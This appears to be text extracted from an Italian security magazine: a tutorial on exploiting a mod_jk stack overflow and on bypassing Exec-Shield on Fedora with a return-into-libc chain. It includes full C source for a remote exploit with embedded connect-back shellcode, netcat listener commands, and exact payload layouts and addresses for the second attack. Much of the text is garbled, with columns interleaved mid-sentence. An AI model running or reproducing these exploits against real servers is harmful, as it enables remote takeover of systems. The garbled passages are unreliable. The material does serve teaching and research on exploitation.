Program received signal SIGSEGV, 0x41 0x41
Segmentation fault. 0xbffff070: 0x41 0x41 0x41 0x41 0x41 0x41
0x49494949 in ?? () 0x41 0x41
0xbffff078: 0x41 0x41 0x41 0x41 0x41 0x41
0x41 0x41(gdb) p $eip
[…]$2 = (void *) 0x49494949
Come viene dettagliato nel sorgente crash.c Fase 2: Determinare in quale area di memoria fare (Tabella 1), 0x41 è la rappresentazione esadecimale puntare l'indirizzo di ritornodel carattere “A” (proprio il punto in memoria che ci
interessa osservare). Quelli mostrati sono tutti indirizzi Come ultimo step volto ad ottenere tutte le
utili, ma per il proseguo dell'articolo utilizzeremo quello informazioni utili per il completamento della prossima
che è stato sottolineato nell'output mostrato sopra ed ultima fase (ovvero quella di creazione dell'exploit
(0xbffff060). Nel nostro exploit questo dovrà remoto) è necessario determinare a quale area di
sostituire l'indirizzo 0x49494949 puntato nel paragrafo memoria l'indirizzo di ritorno sovrascritto dovrà
precedente dal registro EIP[15].puntare. Quella sarà la zona approssimativa in cui
cercheremo di collocare uno shellcode. Il punto più Fase 3: Scrivere l'exploit
logico è verso la seconda metà delle “A" che sono
state utilizzate per riempire gran parte dello spazio del Sostanzialmente sfruttare uno stack overflow si riduce buffer “buf” nel sorgente mostrato in Tabella 1. Per sempre a riempire opportunamente un buffer di dati da
identificare quest'area è necessario analizzare la inviare al server vulnerabile.
memoria del processo debuggato a partire da un [15] Al contrario di ESP ed EBP descritti all'inizio dell'articolo,
indirizzo di ESP inferiore a quello trovato dopo abbiamo tardato di proposito prima di menzionare questo registro.
l'analisi svolta nel secondo breakpoint . Ciò è dovuto al EIP punta sempre alla prossima istruzione che il processore dovrà fatto che nella piattaforma hardware x86 lo stack eseguire.
look at
23
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
Contrariamente però al sorgente di esempio ricevere la shell ed in “Selected Encoder” selezionare
mostrato in Tabella 1, l'obiettivo questa volta non è “Alpha2”[17], quindi premere sul pulsante “Generate
fare crashare il servizio, bensì ottenere una shell Payload” e sostituire il vecchio shellcode con il nuovo
remota. Solitamente (e questo caso conferma quella nel codice riportato in Tabella 2. La compilazione del
che viene considerata una quasi regola) la sorgente è sempre la stessa:
costruzione del buffer si sostanzia nel:
$ gcc mod_jk_exploit.c –o mod_jk_exploit
1) riempire una parte cospicua con dei NOP[16]
Prima di lanciare l'exploit dovrete però aprire la porta (0x90);
nella quale volete ricevere la shell. Una sessione di
for(i = 0; i <= 3921; i++) netcat[18] sarà sufficiente (eseguite il programma come buf[i] = 0x90; utente root se intendete utilizzare una porta nel range
1-1024):
2) collocare in seguito lo shellcode;
$ nc –l porta
calc = 4127 - strlen(shellcode) - 4;
memcpy(buf+calc, shellcode, Da un altro prompt avviate quindi l'exploit: sizeof(shellcode));
$ ./mod_jk_exploit ip_del_web_server 80
3) successivamente inserire l'indirizzo di ritorno che
modificherà quello in origine posto nello stack Dalla finestra del netcat potete adesso interagire con il
attraverso l'istruzione “call” dalla funzione che prompt di shell del server vulnerabile:
ha chiamato quella vulnerabile.
id
uid=501(wwwsite) gid=501(wwwsite) long ret = 0xbffff060;
groups=501(wwwsite)[…]
memcpy(buf+4123, &ret, 4);
Quando a seguito dell'overflow del buffer “url” il
return address verrà sovrascritto con 0xbffff060, il
registro EIP puntando a quell'indirizzo continuerà
l'esecuzione del processo dai NOP fino a giungere
allo shellcode che verrà a sua volta eseguito aprendo
una shell. In Tabella 2 riportiamo l'exploit per intero.
Lo shellcode utilizzato in questo caso è un connect-
back (non apre una porta in ascolto sul server [16] No Operation: forza il processore ad eseguire l'istruzione
vulnerabile bensì si connette al sistema dal quale successiva in memoria. La presenza dei NOP aumenta le
l'exploit è stato lanciato e poi fornisce accesso al probabilità di successo di un exploit, in quanto presuppone che non
sia necessario conoscere l'esatto punto in memoria in cui sarà prompt dei comandi). Per eseguire i vostri test collocato uno shellcode.dovrete sostituire questo shellcode con uno
personalizzato. E' sufficiente collegarsi al sito [17] Un classico shellcode non funzionerebbe in quanto molti dei
caratteri di cui è composto verrebbero filtrati da Apache, http://metasploit.com:55555/PAYLOADS, precludendo la corretta riuscita dell'attacco.indicare in “ADDR” l'indirizzo IP dal quale intendete
lanciare l'exploit, in “PORT” la porta nella quale volete [18] http://www.vulnwatch.org/netcat/
I sorgenti di esempio riportati in Tabella 1 ed
in Tabella2 possono essere prelevati dal sito
http://www.segfault.it/SS/001/vanillab0f/
mod_jk_exploit.tar.gz
look at
24
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
TABELLA 1: crash.c
/* crash.c */#include <stdio.h>#include <stdlib.h>#include <netinet/in.h>#include <sys/socket.h>#include <error.h>#include <errno.h>#include <string.h>#include <strings.h>
int main(int argc, char *argv[]){ /* 32 byte */ char crash [] = "BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII";
/* descrittori, variabili e strutture utilizzate dal programma */ int fd, i = 0; struct sockaddr_in xab;
/* "buf": buffer che conterrà l'URI della richiesta HTTP
"request": variabile che conterrà l'intera richiesta HTTP comprensiva di URI */ char buf[5000], request[8000];
/* Se non vengono passati due parametri al programma, mostra la sintassi di utilizzo ed esci */ if (argc != 3) { printf("%s: ip port\r\n", argv[0]); exit(0); }
/* Si crea un socket TCP per connettersi al web server */ fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { printf("socket: %s\r\n", strerror(errno)); exit(EXIT_FAILURE); }
/* Si azzerano strutture e buffer prima dell'utilizzo */ memset(&buf, 0, sizeof(buf)); memset(&request, 0, sizeof(request)); memset(&xab, 0, sizeof(xab));
/*
look at
25
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
si definiscono famiglia, porta ed indirizzo al quale ci si connetterà attraverso questo socket
*/ xab.sin_family = AF_INET; xab.sin_port = htons(atoi(argv[2])); xab.sin_addr.s_addr = inet_addr(argv[1]);
/* buf viene riempito di "A" (0x41) per 4095 byte */ for(i = 0; i <= 4094 ; i++) buf[i] = 0x41;
/* in seguito viene copiato all'interno di "buf" il contenuto di "crash" generando un URI del tipo:
AAAAAAAA[x4095]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
*/ memcpy(buf+4095, crash, sizeof(crash));
/* Viene creata una richiesta HTTP del tipo:
GET /[URI] HTTP/1.0 */ sprintf(request, "GET /%s HTTP/1.0\r\n\r\n", buf); printf("Invio: \r\n%s\r\n", request);
/* Ci si connette al web server */ i = connect(fd, (struct sockaddr *)&xab, sizeof(xab)); if (i == -1) { printf("connect: %s\r\n", strerror(errno)); exit(EXIT_FAILURE); }
/* Si invia la richiesta HTTP al web server */ send(fd, request, strlen(request), 0);
/* Si chiude la comunicazione con il web server */ close(fd);}
look at
TABELLA 2: mod_jk_exploit.c
/* mod_jk_exploit.c */#include <stdio.h>#include <stdlib.h>#include <netinet/in.h>#include <sys/socket.h>#include <error.h>
26
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
#include <errno.h>#include <string.h>#include <strings.h>
int main(int argc, char *argv[]){ /* Connect-Back Shellcode
Sostituiscilo generandone uno personale visitando il sito http://metasploit.com:55555/PAYLOADS Questo shellcode fa una reverse connect all'indirizzo 192.168.0.248 sulla porta 4321 */ char shellcode [] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x49" "\x58\x50\x30\x42\x31\x42\x41\x6b\x42\x41\x59\x32\x42\x42\x32\x41" "\x41\x30\x41\x41\x58\x50\x42\x38\x42\x42\x75\x38\x69\x70\x31\x6b" "\x6b\x62\x73\x62\x63\x71\x43\x61\x7a\x63\x32\x53\x5a\x45\x36\x52" "\x78\x4f\x79\x6d\x31\x7a\x6d\x4d\x50\x6e\x73\x42\x79\x6c\x70\x45" "\x6f\x6a\x6d\x6f\x70\x73\x79\x62\x59\x58\x79\x41\x4b\x51\x4a\x41" "\x78\x4b\x70\x4f\x58\x65\x50\x4b\x4e\x31\x76\x30\x68\x76\x70\x68" "\x61\x71\x53\x42\x46\x70\x53\x6f\x79\x69\x71\x6e\x50\x51\x76\x66" "\x30\x33\x61\x31\x43\x6b\x39\x6d\x31\x73\x73\x38\x4d\x4f\x70\x63" "\x62\x43\x58\x36\x4f\x36\x4f\x50\x73\x75\x38\x42\x48\x66\x4f\x52" "\x42\x71\x79\x50\x6e\x4d\x59\x4b\x53\x43\x62\x36\x33\x4d\x59\x6d" "\x31\x6e\x50\x76\x6b\x7a\x6d\x4b\x30\x49";
int fd, i = 0; int calc; struct sockaddr_in xab; char buf[4128], request[8000];
/* Puntatore ai NOP che precedono lo shellcode in memoria. L'indirizzo è stato testato sia su Red Hat 7.2 che su Debian 3.0/3.1/4.0 */ long ret = 0xbffff060;
if (argc != 3) { printf("%s: ip port\r\n", argv[0]); exit(0); }
fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }
memset(&buf, 0, sizeof(buf)); memset(&xab, 0, sizeof(xab)); xab.sin_family = AF_INET; xab.sin_port = htons(atoi(argv[2])); xab.sin_addr.s_addr = inet_addr(argv[1]);
look at
27
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
/* Riempiamo buf per 3922 byte di NOP */ for(i = 0; i <= 3921; i++) buf[i] = 0x90;
/* Calcoliamo da quale posizione all'interno di buf parte la copia dello shellcode, ovvero da:
4127 byte (dimensione totale dell'URI senza lo "/") - dimensione dello shellcode (202 byte) - 4 byte di return address = 3921 */ calc = 4127 - strlen(shellcode) - 4; memcpy(buf+calc, shellcode, sizeof(shellcode));
/* Collochiamo alla fine di "buf" il valore che sovrascriverà il return address della funzione vulnerabile */ memcpy(buf+4123, &ret, 4);
sprintf(request, "GET /%s HTTP/1.0\r\n\r\n", buf);
printf("[*] Connect to remote host...\r\n"); i = connect(fd, (struct sockaddr *)&xab, sizeof(xab)); if (i == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }
printf("[*] Send data to remote host...\r\n"); send(fd, request, strlen(request), 0);
sleep(1); printf("[*] Done...checks for shell\r\n"); close(fd);}
look at
28
look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
Execute della tabella di paging dei sistemi x86-64. IntroduzioneNon possiamo utilizzare più i tradizionali shellcode?
Benissimo…rifugiamoci allora nelle più complesse e uando nella primavera del 2003 venne mai tramontate tecniche return-into-libc . rilasciata la Red Hat 9.0 ed annunciato che Impossibile…su Fedora gli indirizzi delle librerie di sarebbe stata l'ultima distribuzione della Qsistema sono collocati sotto i 16 MB e sono tutti quanti serie liberamente scaricabile dalla rete, molti utenti costituiti da un NULL byte iniziale (ad esempio (tra cui il sottoscritto) avvertirono un leggero ma 0x004abd55), circostanza che rende inutile nella fastidioso tonfo al cuore. Per gli hacker di metà/fine
maggior parte dei casi lo sfruttamento di un attacco di anni 90, le diverse versioni del sistema operativo
tipo return-into-libc (Ndr. almeno nelle modalità e dalla compagnia con il simbolo del cappello sviluppat
tradizionali). No, nemmeno linux-gate.so.1 (che ha rosso hanno significato molto. Chi ha infatti
fatto la felicità di moltissimi utenti/smanettoni di cominciato a smanettare in quel periodo ben si ricorda
Slackware ed Ubuntu) può esserci utile in questo [1]gli exploit rilasciati dal teso-team per i demoni wu-
caso, anche a causa del le propr ietà di ftpd, rpc.statd, lpd ed i target principali a cui essi
randomizzazione (ASLR) che riguardano tanto lo miravano (appunto Red Hat 6.0, 6.1, 6.2 e 7.0,
spazio di indirizzamento virtuale dei processi, quanto distribuzioni con le quali era al tempo abbastanza [3]il Virtual DSO , proprietà che rende impossibile comune imbattersi mentre si smanettava in rete). Poi
predire con esattezza dove funzioni o istruzioni di [2]arrivò Fedora e ben presto si capì che Red Hat
interesse verranno collocate in memoria. Queste ed avrebbe utilizzato il progetto come banco di prova per
una serie di altre difficoltà hanno così spinto alcuni testare nuove funzionalità da portare in seguito sui
personaggi della rete a definire Fedora “la bestia nera rilasci stabili delle edizioni commerciali dei suoi
degli hacker” ed Exec-Shield “il mostro“ o “la cosa“, prodotti. Fedora oggi è quindi divenuta la distribuzione
termini di comune richiamo cinematografico utilizzati di riferimento per chi un tempo usava ed apprezzava
proprio per cercare di rendere l'idea del livello di gratuitamente Red Hat Linux. Sono passati però
complessità aggiunto al corretto exploiting di un quasi nove anni dalla storica vulnerabilità della
comune buffer overflow. versione 2.6.0(1) del wu-ftpd o dalle versioni buggate
di rpc.statd ed il panorama della sicurezza informatica
è cambiato sensibilmente da allora, soprattutto con
l'avvento delle nuove tecnologie che sin dall'inizio
hanno promesso di rendere “vicino all'impossibile” lo
sfruttamento delle comuni falle software come gli
stack overflow.
Effettivamente l'introduzione delle moderne misure di
protezione ha portato innumerevoli grattacapi a chi
fino a poco tempo prima era abituato a sfruttare nelle
modalità tradizionali un “comune” e per certi versi
“banale” stack overflow. Fedora è proprio una di quelle
distribuzioni hardenizzate al midollo, distribuzione che
soprattutto a partire dalla versione Core 5 ha fiaccato
gli animi di moltissimi hacker (o sedicenti tali) facendo
apparire anche lo sfruttamento di un banale stack
overflow, un'impresa da titano. Primo imputato in aula
per questo panico generale, Exec-Shield, la
tecnologia che simula a livello software il bit No-
[1] Celebre hacker crew che ha operato fra il 1998 ed il 2004.
[2] http://fedoraproject.org/: Progetto open source sponsorizzato
ma non direttamente sostenuto da Red Hat. E' sostanzialmente
una distribuzione Linux client/server side fedele nelle funzionalità
alle edizioni commerciali di Red Hat Enterprise Linux.
[3] Oggetto condiviso esposto dal kernel per implementare le
virtual syscall. Consiste in una pagina di memoria mappata nello
spazio di indirizzamento virtuale di ogni processo e collocata
spesso ad un indirizzo fisso, nella maggior parte dei casi anche
quando /proc/sys/kernel/randomize_va_space risulta
essere attivo (ovvero impostato ad 1).
29
disassemblare ed inserire un punto di arresto do_it()Exec-Shield un po' più da vicino…un attimo prima che la funzione ritorni. Dopo abbiamo
avviato con il comando “ ” del gdb. server_vuln runLeggendo fin qui verrebbe da asserire che bypassare
Poiché l'unica variabile allocata all'inizio nello stack Exec Shield sia praticamente impossibile. Niente di più
frame della funzione è , dovrebbero sbagliato! Attualmente esistono almeno due/tre metodi do_it() request
essere sufficienti 264 byte per riuscire a manipolare noti per farlo, ognuno con i suoi pro ed i suoi contro ed
arbitrariamente EIP (256 byte per il sovrascrivere il ognuno sfruttabile a seconda di precise circostanze
buffer, 4 byte per sovrascrivere il Frame Pointer ed che si devono verificare durante la fase di exploiting o
altri 4 byte per sovrascrivere l'Instruction Pointer). che dipendono dal modo in cui l'applicazione
Proviamo quindi da un prompt dei comandi differente a vulnerabile è stata scritta. Oggi descriveremo in
vedere cosa succede inviando 264 'A' al servizio:dettaglio uno di questi tre metodi partendo dal codice
fallato di esempio riportato in Tabella 1. Si tratta di un
# telnet attack_machine 60000semplice servizio che si mette in ascolto sulla porta Trying xxx.xxx.xxx.xxx...TCP 60000, prende via socket una stringa inviata Connected to attack_machine.dall'utente, la ristampa a video e chiude la Escape character is '^]'.connessione. La parte più interessante è costituita AAAAAAAAAAAAAAAAAAAAAAAAAA[…]
dalla funzione e precisamente dalla do_it()
che cerca di copiare la stringa ricevuta strcpy()Completato questo task il debugger si arresta al
dall'utente all'interno di , un array di caratteri requestbreakpoint dichiarato. Uno sguardo all'attuale
della dimensione di 256 byte. Tuttavia dal è main()conformazione dello stack ci rivela che l'arrary
possibile notare che la richiesta dell'utente letta è stato correttamente sovrascritto così come requestattraverso viene scritta in (un char array di read() mex
l'indirizzo del Frame Pointer e dell'Instruction Pointer: 1024 byte) prima di essere trasferita alla funzione
e quindi a . Ciò significa che l'utente handle() do_it() Breakpoint 1, 0x080488dd in do_it ()
può inviare più di 256 byte di dati e causare così uno (gdb) p $esp
$1 = (void *) 0xbfc341ecstack overflow.
(gdb) x/4bx 0xbfc341ec
0xbfc341ec: 0x41 0x41 0x41 0x41Osserviamo più da vicino cosa accade quando il
sorgente di esempio della Tabella 1 viene compilato ed
Infatti L'Instruction Pointer punta a (le 0x41414141eseguito su Fedora Core 7. Per capire meglio quali
ultime quattro A inviate al servizio). Continuando difficoltà Exec-Shield antepone all'esecuzione di
l'esecuzione dell'applicazione da questo punto, codice remoto avviamo una sessione di debugging con
l'istruzione “ ” dovrebbe prelevare dallo stack retgdb:
l'indirizzo sovrascritto e causare un Segmentation
# gcc server_vuln.c –o server_vuln Fault ( è relativo ad un'area di memoria 0x41414141
# gdb ./server_vuln inesistente). Ma vediamo cosa accade in realtà:(gdb) disas do_it
Dump of assembler code for function do_it:(gdb) c
[…]Continuing.
0x080488dd <do_it+86>: ret
End of assembler dump.Program received signal SIGSEGV,
(gdb) break *0x080488ddSegmentation fault.
Breakpoint 1 at 0x80488dd0x080488dd in do_it ()
(gdb) run(gdb) p $eip
$2 = (void (*)()) 0x80488dd <do_it+86>Ciò che abbiamo fatto qui è stato semplicemente
look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
30
effettivamente possibile. Tra lo stack frame della Dal debugger apprendiamo che dopo il crash
funzione vulnerabile e quello della funzione chiamante dell'applicazione, il registro EIP non punta
o delle funzioni ancora antecedenti, deve essere direttamente a 0x41414141, bensì all'indirizzo
dichiarato da qualche parte (attenzione non 0x80488dd che nel listato assembly visualizzato in immediatamente prima dello stack frame della precedenza corrisponde proprio all'istruzione “ret” in funzione vulnerabile ma una manciata di byte più in do_it(). In parole povere Exec-Shield ha fatto il suo là che quantificheremo meglio dopo) un puntatore al
dovere e non ha permesso che il registro EIP venisse buffer che viene sovrascritto.
manipolato a piacimento dall'attacker ed utilizzato per
puntare ad un eventuale shellcode nello Stack.
La teoria dietro l'attaccoBye Bye Stack Memory
I n rea l t à non abb iamo anco ra r i spos to
L'ultima frase del paragrafo precedente è vitale per esaurientemente alla domanda posta poco prima:
comprendere la tecnica che ci stiamo accingendo a come fare a collocare uno shellcode al di fuori dello
descrivere e merita pertanto di essere riletta con Stack? La tecnica che ci accingiamo a spiegare (per il
attenzione. Non possiamo posizionare uno shellcode momento in modo teorico e solo successivamente sul
nello stack non significa però che non possiamo pratico) non è in realtà nuova ma è un riadattamento di
collocarlo in un'area di memoria differente, [4]quanto descritto da Nergal nel numero 58 di Phrack .
possibilmente dotata di permessi in scrittura ed Essa dimostra che gli attacchi basati su shellcode sono
esecuzione: ancora possibili su distribuzioni come Fedora pur la
presenza di misure di protezione complesse come # ps –wuax | grep server_vuln Exec-Shield. Questa tecnica funziona con minime root 2374 0.0 0.1 1588 332 pts/0 T modifiche sia su Fedora che su Red Hat Enterprise e 19:29 0:00 /usr/local/test/server_vuln
[5]CentOS . I test dai noi condotti sono stati comunque
svolti su Fedora Core 6 e la più recente edizione Core # cat /proc/2374/maps
7.[…]
004bd000-004be000 rwxp 0001b000 fd:00 Per collocare uno shellcode in una zona di memoria 2258040 /lib/ld-2.6.soresidente all'esterno dello Stack, accessibile sia in […]
scrittura che in esecuzione, possiamo avvalerci di un 00610000-00611000 rwxp 00150000 fd:00
attacco avanzato del tipo return-into-libc utilizzando la 2258041 /lib/libc-2.6.so
strcpy()[…] funzione di sistema . L'attacco è riassumibile
in quattro semplici punti:
Osservando lo stato della memoria dell'applicazione
vulnerabile di esempio, quest'area potrebbe benissimo
essere un qualsiasi punto nel range di indirizzi di ld-
2.6.so o libc-2.6.so. Entrambi queste due librerie
linkate dinamicamente a server_vuln possono infatti
essere utilizzate per scrivere istruzioni che verranno
interpretate come eseguibili dal processore (notare i
permessi assegnati rwxp). La domanda a questo punto
è: come fare a scrivere uno shellcode in un indirizzo
residente all'esterno dello Stack? Si deve verificare un'unica condizione vitale affinché ciò possa essere
[4] http://www.phrack.org/archives/58/p58-0x04: The advanced
return-into-lib(c) exploits.
[5] http://www.centos.org/: distribuzione derivata da Red Hat
Enterprise Linux e gratuitamente scaricabile.
look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
31
Dopo aver saturato il buffer non controllato I vantaggi del riadattamento della tecnica dell’applicazione di esempio: di Nergal
1) L'indirizzo di ritorno della funzione vulnerabile Questa tecnica (che ci accingiamo a sfruttare sul
(ovvero nel nostro caso do_it()) viene alterato pratico) permette di rendere nulle alcune misure di
con l'indirizzo in memoria in cui si trova protezione implementate su Red Hat Linux e le
un'istruzione “ret”. Nella maggior parte delle distribuzioni derivate (Fedora e CentOS). Più
precisamente di:circostanze queste istruzioni necessitano di
essere concatenate una di seguito all'altra (riferirsi - bypassare Exec-Shield: possiamo eseguire del a tal proposito alla Figura 1) in modo da allineare il
codice da remoto attraverso shellcode.puntatore allo shellcode e renderlo il secondo
parametro della strcpy() invocata al punto 2. - bypassare i meccanismi di Address Space
Layout Randomization: non abbiamo bisogno di [6]2) A seguire viene collocato l'indirizzo PLT della
conoscere con esattezza l'indirizzo nello stack in funzione strcpy().
cui si trova lo shellcode, basta semplicemente
sapere la distanza quantificata a gruppi di 4 byte 3) Successivamente viene collocato di nuovo
che intercorre tra l'indirizzo di ritorno sovrascritto l'indirizzo in memoria in cui si trova un'istruzione
della funzione vulnerabile ed il puntatore allo “ret”. Operando in questo modo al ritorno da
shellcode dichiarato più in là nello stack (vi strcpy() il flusso di esecuzione del programma
ricordate la condizione vitale che si doveva proseguirà dall'indirizzo della libreria dichiarato al
verificare e che abbiamo citato un paio di paragrafi punto 4, eseguendo effettivamente lo shellcode.
addietro?).
4) Infine viene posto nello Stack l'indirizzo di una - evitare di utilizzare funzioni di sistema qualsiasi area di memoria marcata come collocate sotto i 16 MB: in effetti viene utilizzato accessibile in scrittura ed esecuzione (fare l'indirizzo PLT di strcpy() che è dichiarato riferimento al paragrafo precedente per capire sempre in un punto fisso del file binario e non come identificarla). l'indirizzo nella libreria di sistema che contiene un
NULL byte. Ciò rende ancora possibile usufruire a L'effetto prodotto alla fine sarà che il contenuto piacimento di tecniche return-into-libc[7].dell'area di memoria puntata nello step 1 (dove
risiederà lo shellcode) verrà copiato all'indirizzo
specificato nel punto 4. Successivamente questo
verrà invocato per mezzo del ret dichiarato al punto 3.
Trattandosi di una zona marcata come eseguibile, le
istruzioni qui residenti verranno interpretate come
codice ed opportunamente eseguite dal processore.
Complimenti…avete eseguito una shell!
Tecnica avanzata Return-Into-Libc
RET RET RET...
strcpy() PLT RETRWX Library
AddressShellcode
Pointer
Figura 1: Collocazione nello stack degli elementi utili ad eseguire uno
shellcode in presenza di Exec-Shield
[6] Procedure Linkage Table: E' una tabella che i file in formato
ELF utilizzano per il linking dinamico, ovvero per consentire alle
applicazioni di accedere a runtime alle funzioni contenute in una
libreria di sistema (ad esempio libc). All'esecuzione del
programma, durante la chiamata ad una funzione contenuta in una
libreria di sistema, viene invocata con un'istruzione “call” la
relativa entry PLT che a sua volta salta ad un indirizzo nella Global
Offset Table (GOT) che punta al vero codice della funzione.
[7] Se la vulnerabilità applicativa che si sta cercando di sfruttare
deriva da una delle funzioni C di gestione delle stringhe come
strcpy(), la presenza di un NULL byte nel buffer sovrascritto
determinerà l'interruzione immediata della copia dei dati,
risultando in un attacco incompleto e quindi non funzionante.
look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
32
0x41 0x41Bene. Adesso è arrivato il momento di mettere in […]pratica quanto sinora scritto solo in modo teorico. 0xbfe41540: 0x41 0x41 0x41 0x41 0x41 0x41
Come al solito la creazione di un exploit funzionante 0x41 0x41
richiederà la raccolta di alcune informazioni
L'indirizzo 0xbfe41440 punta infatti al buffer di “A” preventive. Procediamo quindi.
inviato dall'utente. Esattamente la condizione che ci
serve per bypassare Exec-Shield. Lo scopo è quindi Fase 1: Trovare l'offset del puntatore allo quello di costruire opportunamente i contenuti che shellcodefanno seguito al buffer saturato in modo da allineare
nello stack gli argomenti richiesti dalla strcpy(). Uno Come già detto la condizione primaria all'exploiting
di questi è proprio il puntatore in memoria in cui risiede della vulnerabilità del sorgente mostrato in Tabella 1 è
lo shellcode!che nello Stack deve risiedere, ad una sufficiente
distanza dal frame della funzione vulnerabile, un
puntatore che punti al buffer sovrascritto. Cerchiamo di Fase 2: Trovare l'indirizzo di un'istruzione capire se questo è il nostro caso. Riavviamo la stessa
retsessione di debugging ed inseriamo lo stesso
breakpoint come già spiegato nel paragrafo “Exec-L'indirizzo di un'istruzione “ret” ci serve per allineare
Shield un po' più da vicino” a pagina 30. Sempre nello stack gli argomenti che verranno passati alla
come riportato in quel paragrafo, colleghiamoci al strcpy(), fungendo null'altro che da padding:
servizio ed inviamo 264 byte di dati. Al manifestarsi del
breakpoint analizziamo il contenuto dello Stack a (gdb) disas do_it
partire dall'attuale indirizzo puntato da ESP:[…]
0x080488dd <do_it+86>: ret(gdb) x/100bx $esp
0xbfe413fc: 0x41 0x41 0x41 0x41 Per lo scopo possiamo benissimo utilizzare
0x0d 0x0a 0x00 0xbf“0x080488dd” ma in linea di massima qualsiasi altro
0xbfe41404: 0x70 0x44 0x4b 0x00 punto nel binario contenente questa istruzione andrà 0xf4 0xff 0x60 0x00
bene.0xbfe4140c: 0x20 0x14 0xe4 0xbf
0xd0 0x13 0x58 0x00
0xbfe41414: 0xf3 0x13 0x58 0x00 Fase 3: Trovare l'indirizzo PLT di strcpy() 0x78 0x18 0xe4 0xbf
0xbfe4141c: 0x20 0x88 0x04 0x08
0x40 0x14 0xe4 0xbf Trovare l'indirizzo PLT di strpcy() è altrettanto
[…] semplice. Sempre disassemblando la funzione
do_it() da gdb si deve identificare l'apposita
L'output è stato suddiviso a blocchi di 4 byte per istruzione “call”:
maggiore comprensione. Il primo indirizzo […](0x41414141) corrisponde al return address 0x080488c1 <do_it+58>: call 0x8048518 sovrascritto. 9 indirizzi più avanti troviamo proprio ciò <strcpy@plt>
che stavamo cercando:[…]
(gdb) x/264bx 0xbfe41440Nel nostro esempio “0x8048518” è l'indirizzo che ci
0xbfe41440: 0x41 0x41 0x41 0x41 0x41 0x41 serve.
0x41 0x41
0xbfe41448: 0x41 0x41 0x41 0x41 0x41 0x41
look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
33
spazzatura) per raggiungere i 260 byte (ovvero per Fase 4: Identificare un'area in memoria arrivare a sovrascrivere il Frame Pointer della funzione accessibile in scrittura ed esecuzionevulnerabile):
Qui basta semplicemente individuare il pid del servizio "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" vulnerabile ed analizzare il filesystem . Un /proc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
esempio di questo tipo lo abbiamo già mostrato nel "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"paragrafo “Bye Bye Stack Memory” a pagina 31.
"AAAAAAAA"Approfittando di quell'output possiamo scegliere un
qualsiasi indirizzo compreso fra e 0x004bd000 Successivamente dovranno essere concatenate sei oppure fra e . 0x004be000 0x00610000 0x00611000istruzioni “ ”:ret
Nel nostro caso la scelta è caduta su .0x004bd055
"\xdd\x88\x04\x08\xdd\x88\x04\x08" "\xdd\x88\x04\x08\xdd\x88\x04\x08"Ultimo step: Creare l'exploit "\xdd\x88\x04\x08\xdd\x88\x04\x08"
Osserviamo per un momento ancora il contenuto dello Quindi andrà posto l'indirizzo PLT della funzione Stack così come mostrato con il gdb durante la Fase 1, :strcpy()ovvero poco prima che l'overflow si manifestasse.
Mettendo in conto lo stesso return address sovrascritto, "\x18\x85\x04\x08"
sappiamo che da esso al puntatore del buffer utente ci Ancora un'istruzione “ ”:retstanno in mezzo 9 indirizzi. Ciò sarà sempre vero. Ad
ogni nuova esecuzione dell'applicazione potrà variare "\xdd\x88\x04\x08"
l'indirizzo base dello Stack Pointer per le proprietà
Ed infine l'indirizzo prescelto che punta all'area di ASLR del sistema operativo, ma la distanza degli
memoria accessibile in scrittura ed esecuzione:argomenti rimarrà sempre la stessa. Per avere un
allineamento come quello della Figura 1, la stringa "\x55\xd0\x4b\x00";
inviata al servizio vulnerabile dal nostro exploit
(riportato in Tabella 2) dovrà comporsi delle seguenti Adesso mettiamo nuovamente sotto debugging parti. All'inizio verrà collocato lo shellcode: l'applicazione vulnerabile ed impostiamo un break point
prima del ritorno della funzione . Fatto ciò, do_it()char shellcode[] = compiliamo e lanciamo l'exploit in Tabella 2: "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74"
"\x24\xf4\x5b\x81\x73\x13\x84\x06\x32" $ gcc exploit.c –o exploit "\xd3\x83\xeb\xfc\xe2\xf4\xb5\xdd\x61" $ ./exploit indirizzo_ip "\x90\xd7\x6c\x30\xb9\xe2\x5e\xab\x5a"
"\x65\xcb\xb2\x45\xc7\x54\x54\xbb\xa6" Dal punto di arresto del debugger analizziamo ancora
"\xbe\x54\x80\x0d\xe7\x58\xb5\xdc\x56" una volta la conformazione dello Stack: "\x63\x85\x0d\xe7\xff\x53\x34\x60\xe3"
(gdb) x/40bx $esp "\x30\x49\x86\x60\x81\xd2\x45\xbb\x32"0xbfbf11ac: 0xdd 0x88 0x04 0x08 [*] "\x34\x60\xff\x53\x17\x6c\x30\x8a\x34" 0xdd 0x88 0x04 0x08 [*] "\x39\xff\x53\xcd\x7f\xcb\x63\x8f\x54"0xbfbf11b4: 0xdd 0x88 0x04 0x08 [*] "\x5a\xfc\xab\x75\x5a\xbb\xab\x64\x5b" 0xdd 0x88 0x04 0x08 [*] "\xbd\x0d\xe5\x60\x80\x0d\xe7\xff\x53"0xbfbf11bc: 0xdd 0x88 0x04 0x08 [*]
